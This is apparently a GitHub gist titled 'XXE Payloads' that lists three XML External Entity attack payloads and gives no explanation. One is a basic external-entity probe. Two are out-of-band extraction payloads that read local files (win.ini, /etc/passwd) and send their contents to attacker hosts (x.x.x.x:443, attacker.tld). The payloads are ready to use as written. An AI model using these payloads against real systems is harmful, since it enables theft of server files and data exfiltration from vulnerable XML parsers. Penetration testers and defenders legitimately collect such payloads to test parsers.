-
-
Save b00ls0ck3t/93e6772d15b088c10e062e82642b646c to your computer and use it in GitHub Desktop.
XXE Payloads
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> | |
| --------------------------------------------------------------- | |
| OoB extraction | |
| --------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> | |
| %sp | |
| %param1 | |
| ]> | |
| <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> | |
| <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> | |
| ------------------------------------------------------------------ | |
| File-not-found exception based extraction | |
| ------------------------------------------------------------------ | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE test [ | |
| <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > | |
| %one; | |
| %two; | |
| %four; | |
| ]> | |
| <!ENTITY % three SYSTEM "file:///etc/passwd"> | |
| <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment